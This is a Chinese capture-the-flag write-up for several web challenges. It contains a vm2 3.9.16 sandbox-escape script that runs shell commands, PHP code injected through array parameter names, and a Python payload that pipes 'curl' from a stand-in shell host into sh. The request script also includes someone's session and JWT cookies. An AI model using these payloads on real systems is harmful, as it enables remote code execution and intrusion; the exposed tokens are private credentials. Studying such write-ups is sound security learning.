参考wp
CookieBack
题目
这题太傻逼了,我以为得需要用这个搜索框来查出一些东西来解题,一直卡在这个思路上面
其实这里说的偷cookie,其实就是把自己的cookie传进去就行了…….
特别的离谱……….
easy_node
这是个nday的题目
访问/src就能拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| const express = require('express'); const app = express(); var bodyParser = require('body-parser') app.use(bodyParser.json()) const {VM} = require("vm2"); const fs = require("fs"); const session = require("express-session"); const cookieParser = require('cookie-parser'); session_secret = Math.random().toString(36).substr(2); app.use(cookieParser(session_secret)); app.use(session({ secret: session_secret, resave: true, saveUninitialized: true }))
function copyArray(arr1){ var arr2 = new Array(arr1.length); for (var i=0;i<arr1.length;i++){ if(arr1[i] instanceof Object){ arr2[i] = copyArray(arr1[i]) }else{ arr2[i] = arr1[i] } } return arr2 }
app.get('/', function (req, res) { res.send('see `/src`'); });
app.post('/vm2_tester',function(req,res){ if(req.body.name) { req.session.user = {"username": req.body.name} const properties = req.body.properties for (let i = 0; i < properties.length; i++) { if (properties[i] == 'vm2_tester') { res.send('cant set vm2_tester by self') return } } req.session.user.properties = copyArray(properties) res.send('Success') }else { res.send("input username") } })
app.post('/vm2',function (req, res) {
if(req.session.user && req.session.user.properties) { for (var i = 0; i < req.session.user.properties.length; i++) if (req.session.user.properties[i] == 'vm2_tester') { if (req.body["code"]) { if (/\b(?:function)\b/.test(req.body["code"])) { res.send("define function not allowed") return; } if (/\b(?:getPrototypeOf)\b/.test(req.body["code"])) { res.send("define getPrototypeOf not allowed") return; } const vm = new VM(); res.send(vm.run(req.body["code"])) return } else{ res.send("input code") } } }else{ res.send("not vm2 tester rights") }
})
app.get('/', function (req, res) { res.send('see `/src`,use vm2 3.9.16'); }); app.get('/src', function (req, res) { var data = fs.readFileSync('app.js'); res.send(data.toString()); });
app.listen(3000, function () { console.log('start listening on port 3000'); });
|
这里因为给了这个vm2的版本,于是就去google搜索,于是第一个就是
https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
这里当时卡住的原因是因为
所以当时就很疑惑,不知道怎么绕过他
然后看到别人给的wp
1
| {"name": 123,"properties":{"length": 1,"0":{"0": "vm2_tester","length":1}}}
|
gpt给出的解释
这里能这样写来绕过是因为
这三个地方的缘故
其实就是跟上面的这个copyArray
函数有很大的关系
{"name": 123,"properties":{"length": 1,"0":{"0": "vm2_tester","length":1}}}
就是properties
这个key值的长度是1,然后又因为arr1[0]是一个对象,然后满足第一个判断,然后到最后返回的arr2
就是{"0":{"0": "vm2_tester","length":1}}
这个玩意了
然后req.session.user.properties[i]
就等于{"0":{"0": "vm2_tester","length":1}}
这样的话就可以同时解决上面提出的矛盾了 主要还是归功于上面的那个copyArray
函数了
最后的code代码执行就是前面搜的那篇文章里的内容了
https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
然后这里得需要python发包,bp和hackbar不行
1 2 3 4 5 6 7 8 9 10
| import requests
url = 'http://116.236.144.37:26806/vm2' data = {"code":"eval(\"const stack=()=>{new Error().stack;stack();};err = {};const handler = {getPr\"+\"ototypeOf(target) {(stack)();}};const proxiedErr = new Proxy(err, handler);try {throw proxiedErr;} catch ({constructor: c}) {c.constructor('return process')().mainModule.require('child_process').execSync('cat /f*');}\")"} headers = { "Content-Type": "application/json", "Cookie": "rt_web_csrf_token=kOIwOsYocCJkXVKSQmTFWuvDWpVuizhu013Lxk78cg54iyChQBApFDCItboLOJeW; rt_web__jwt_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZDRkMzhkNTVmYTdlZTIxYTgzODQ2MTUyNjg3NWYyMDMiLCJ1c2VybmFtZSI6IjE1Nzk5MDYwODUyIiwiZXhwIjoxNjg0OTMwNTY5LCJlbWFpbCI6IjE0Nzg0NTYzMDlAcXEuY29tIn0.M_dtAsuFk53-OccuslbUMB8s1BgQTF4LnBNp6gYecJ4; connect.sid=s%3AMrWVq2g4AyaXTVVHfmYR-lk66QfcMNuC.2bEPGUZvaMBVCw7UlneXFQjT4t9oTEzCW6x4HkCtHkI·" } response = requests.post(url, json=data, headers=headers) print(response.text)
|
这里记得把cookie给换上自己的
easy_log
题目是长这样的
就是通过自己输入的值,来到这个php文件里执行代码,当然也过滤了很多东西
php文件里就是这些内容
这里的话因为username被过滤太多东西了,php标记全给过滤掉了
于是我们就去看看ip或者uri能不能传值
写是写进去了,但是并没有执行
然后查看源码发现
这里的把<
给换掉了,那么我们就得另寻出路了
真正的解法就是传数组,这里的话waf只对参数的值的有用,对参数名是没有用的,
username[xxx]=123
就是后端只会检测123,并不会检测xxx
所以我们就可以利用这个方法来传参
直接用超级编码法
password=asd&username[<?php%20eval(base64_decode(c3lzdGVtKCJscyAvIik7));?>]=123
这是编码内容是system('ls /');
然后读出文件名
password=asd&username[<?php%20eval(base64_decode(c3lzdGVtKCdjYXQgL1MzcmVjdF8xU19IM3JlJyk7));?>]=123
然后就读到了flag
ezpython
题目
就是绕过关键字的过滤
这里的话我使用迷你下标进行绕过的(在之前的d3学到的这个)
payload
1
| ₑval(__impₒrt__('o'+'s').pₒpen('curl https://your-shell.com/xxxx:666 |sh').read())
|
fun_java
Jckson调getter,然后TemplatesImpl命令执行,和阿里云bypass_1差不多,但我没做出来
这是个文章开头给的链接的那个师傅写的(这里话先去看看bypass_1)